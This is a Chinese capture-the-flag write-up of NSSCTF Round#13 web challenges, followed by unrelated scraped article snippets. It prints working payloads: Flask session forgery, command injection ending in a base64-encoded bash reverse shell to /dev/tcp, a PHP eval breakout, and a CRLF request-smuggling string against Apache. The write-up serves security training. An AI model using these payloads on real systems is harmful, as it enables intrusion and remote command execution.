NSSCTF Round#13 web专项
rank:3
flask?jwt?
简单的注册个账号,在/changePassword 下查看页面源代码发现密钥<!-- secretkey: th3f1askisfunny --> ,很好,老套路了,flask-session-cookie-manager伪造,把_user_id 改成1,访问/getFlag ,拿到flag
ez_factors
查看页面源代码,发现路由/factors/114514 ,访问发现114514被分解,猜测后台逻辑是利用linux命令factor对/factors/后接的字符执行,这样直接用; 来个多命令执行,访问/factors/114514;cd ..;cd ..;cd ..;cd ..;cat flag ,有东西不过是一串数字,嗯,看样子应该是读不出来了,直接反弹shell,echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash ,利用base64防止有/导致破坏路由,成功反弹shell

MyWeb
代码如下:
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧
if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}
很明显能命令执行,写个1进去,read之后是这样的

看代码把] 替换成, $value] ,猜测它的json文件是这样写的:[1,2,3········] 这样我们构造把它闭合不就能执行命令了,直接构造个
];%0aecho `cat /flag`;%0a[
]闭合前面的[,[则闭合后面的],%0a换行确保我们的命令能执行
read一下,拿到flag

flask?jwt?(hard)
第一道题的复仇版,其实也没多啥内容,就开了个Debug,让我们找密钥,还是先注册个账号登录,页面源代码给了个/wor 路由,访问之后,没什么有用的信息,我们直接给seesion改了,删减几个字符,成功进入Debug页面,这里直接抓包,搜secret,成功拿到密钥

接下来跟第一道一样的步骤,这里不在赘述
信息收集
Apache HTTP Server2.4.55,百度一下这个版本,有个请求走私漏洞,但我们啥也不知道,不知道走私哪
参考这篇文章http://www.hackdig.com/03/hack-949961.htm
访问index.php,这里有个任意文件读取,读/usr/local/apache2/conf/httpd.conf 发现这个

嗯,做了个proxy转发,猜测flag直接就在转发后当前目录flag.txt里(瞎猜就是了,大不了多试试),利用CRLF注入,payload:
/nssctf/0%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt

TimeTrcer
做大牢,前端做不了一点
NSSCTF Round#13 web专项的更多相关文章
- Codeforces Beta Round #13 C. Sequence (DP)
题目大意 给一个数列,长度不超过 5000,每次可以将其中的一个数加 1 或者减 1,问,最少需要多少次操作,才能使得这个数列单调不降 数列中每个数为 -109-109 中的一个数 做法分析 先这样考 ...
- php课程 1-3 web项目中php、html、js代码的执行顺序是怎样的(详解)
php课程 1-3 web项目中php.html.js代码的执行顺序是怎样的(详解) 一.总结 一句话总结:b/s结构 总是先执行服务器端的先.js是客户端脚本 ,是最后执行的.所以肯定是php先执行 ...
- 简易数据分析 13 | Web Scraper 抓取二级页面
这是简易数据分析系列的第 13 篇文章. 不知不觉,web scraper 系列教程我已经写了 10 篇了,这 10 篇内容,基本上覆盖了 Web Scraper 大部分功能.今天的内容算这个系列的最 ...
- Codeforces Beta Round #13 E. Holes 分块暴力
E. Holes Time Limit: 20 Sec Memory Limit: 256 MB 题目连接 http://codeforces.com/contest/13/problem/E Des ...
- [异常记录-13]Web Deploy发布:An error occurred when the request was processed on the remote computer
大概搜了一下这个报错,大家的情况各不相同,但应该是 Web Deploy 安装导致的没错了... 建议粗暴解决, 卸载后重新安装 Web Deploy 时,不要选那个经典还是典型的安装选项,选自定义 ...
- Educational Codeforces Round 13 A、B、C、D
A. Johny Likes Numbers time limit per test 0.5 seconds memory limit per test 256 megabytes input sta ...
- Educational Codeforces Round 13 A
Description Johny likes numbers n and k very much. Now Johny wants to find the smallest integer x gr ...
- Educational Codeforces Round 13 D:Iterated Linear Function(数论)
http://codeforces.com/contest/678/problem/D D. Iterated Linear Function Consider a linear function f ...
- Educational Codeforces Round 13 E. Another Sith Tournament 概率dp+状压
题目链接: 题目 E. Another Sith Tournament time limit per test2.5 seconds memory limit per test256 megabyte ...
- Educational Codeforces Round 13 D. Iterated Linear Function (矩阵快速幂)
题目链接:http://codeforces.com/problemset/problem/678/D 简单的矩阵快速幂模版题 矩阵是这样的: #include <bits/stdc++.h&g ...
随机推荐
- 基于 Echarts实现可视化数据大屏展示?
当涉及到使用Echarts实现可视化数据大屏展示时,以下是一份非常详细的介绍说明. 第一部分:介绍Echarts Echarts是一个由百度开源的基于JavaScript的可视化图表库.它支持多种图表 ...
- 耗时三年开源的H5商城,生产级代码实战
waynboot-mall 商城项目是我从疫情开始初期着手准备开发的,到如今 2023 年底,已经过了 3 年多的时间. 从项目初期到现在,一个人持续迭代,修复漏洞,添加功能,经历了前端开发工具从 v ...
- JPA动态注册多数据源
背景 目前已经是微服务的天下,但是随着业务需求的日益增长,部分应用还是出现了需要同时连接多个数据源操作数据的技术诉求. 需要对现有的技术架构进行优化升级,查阅了下网上的文章,基本都是照搬的同一篇文章, ...
- 【已解决】【Tensorflow2.12.0版本以后合并CPU和GPU版】Tensorflow-gpu==2.12.0 安装失败解决办法
直接上解决方式,需要知道原因的看后文. 直接安装 tensroflow,从 2022 年 12 月起 tensorflow-gpu 已经合并到 tensorflow 包中了 pip install t ...
- Redis 学习笔记1:数据类型
Redis支持五种数据类型:string(字符串),hash(哈希),list(列表),set(集合)及 zset(sorted set:有序集合). 一.Redis 数据类型-STRING 1.常用 ...
- SpringBoot整合JavaMail
1.发送简单邮件 导入依赖 implementation 'org.springframework.boot:spring-boot-starter-mail:3.0.2' 开启相关协议,获取密码~ ...
- JVM整理笔记
1.JVM位置 JVM是作用在操作系统之上的,它与硬件没有直接的交互 2.JVM体系结构 3.类装载器ClassLoader 类装载器:负责加载class文件,class文件在文件开头有特定的文件标示 ...
- scrapy 请求meta参数使用案例-豆瓣电影爬取
num = 0 import scrapy from scrapy.http import HtmlResponse from scrapy_demo.items import DoubanItem ...
- 数字孪生和GIS系统融合能为水利领域带来什么改变?
随着科技的不断进步,数字孪生和GIS系统的融合应用逐渐成为了水利领域的新趋势.数字孪生是指通过数字化技术模拟物理实体和过程,将现实世界与虚拟世界相结合的技术,而GIS系统则是地理信息系统,用于收集.存 ...
- 【UniApp】-uni-app-项目计算功能(苹果计算器)
前言 本文主要介绍苹果计算器项目中计算功能的实现 在前面的文章中已经实现了输入,动态计算字体大小,以及计算器的布局 本文主要介绍计算功能的实现 正文 实现/清空/改变正负/除以100 inputTex ...